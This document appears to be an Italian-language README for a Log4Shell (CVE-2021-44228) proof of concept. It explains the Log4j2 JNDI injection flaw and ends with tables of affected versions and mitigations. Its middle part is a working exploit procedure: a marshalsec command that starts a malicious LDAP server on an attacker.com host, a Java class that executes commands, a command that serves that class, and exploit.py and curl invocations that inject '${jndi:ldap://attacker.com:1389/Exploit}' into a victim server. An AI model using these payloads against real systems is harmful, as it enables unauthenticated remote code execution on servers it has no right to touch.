
CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE
CVSS 10.0 CRITICA | CWE-502: Deserializzazione di dati non attendibili | CWE-917: Neutralizzazione impropria per l'iniezione di Expression Language
Log4Shell (CVE-2021-44228) è probabilmente la vulnerabilità più grave degli anni 2020, che colpisce Apache Log4j2 versioni 2.0 fino a 2.14.1. Scoperta da Chen Zhaojun di Alibaba Cloud Security nel novembre 2021 e divulgata pubblicamente il 9 dicembre 2021, consente l'esecuzione di codice remota non autenticata su centinaia di milioni di server in tutto il mondo.
La vulnerabilità deriva dalla funzionalità di lookup JNDI (Java Naming and Directory Interface) di Log4j2, che consente stringhe di lookup arbitrarie come ${jndi:ldap://attacker.com/a} nei messaggi di log. Quando una stringa controllata dall'utente contenente un tale pattern viene registrata, Log4j2 esegue il lookup JNDI, che può caricare ed eseguire classi Java remote.
Log4j2 ha introdotto una funzionalità chiamata "Message Lookup" che sostituisce i pattern ${...} nei messaggi di log con valori provenienti da varie fonti (JNDI, variabili d'ambiente, proprietà di sistema, ecc.). La classe JndiLookup (org.apache.logging.log4j.core.lookup.JndiLookup) chiama InitialContext.lookup() su stringhe controllate dall'attaccante senza una corretta sanitizzazione.
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Directly passes attacker-controlled key to JNDI lookup
return JndiManager.getJndiManager().lookup(key);
} catch (...
Il metodo lookup() delega a javax.naming.InitialContext.lookup(), che può caricare oggetti remoti da server LDAP, RMI, DNS o CORBA.
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM
Usa marshalsec per avviare un server LDAP dannoso:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Serve Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
Oppure tramite header HTTP:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
Lo exploit.py incluso fornisce:
| Versione | Stato |
|---|
| Log4j 2.0 – 2.14.1 | Vulnerabile |
| Log4j 2.15.0-rc1 | Fix parziale (bypass CVE-2021-45046) |
| Log4j 2.15.0 | Fix limitato (JNDI disabilitato per impostazione predefinita, lookup limitati) |
| Log4j 2.16.0 | JNDI disabilitato, Message Lookups rimossi |
| Log4j 2.17.0 | Fix finale per 2.x (CVE-2021-44832) |
| Log4j 1.x | Non direttamente interessata (codebase diverso) |
| Approccio | Dettagli |
|---|
| Aggiorna Log4j | Aggiorna a 2.17.0+ (2.x) o 2.12.4+ (Java 7) |
| Flag JVM | -Dlog4j2.formatMsgNoLookups=true |
| Rimuovi JndiLookup | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| Regole WAF | Blocca i pattern ${jndi: nelle richieste |
| Controlli di rete | Blocca il traffico LDAP/RMI in uscita verso server non attendibili |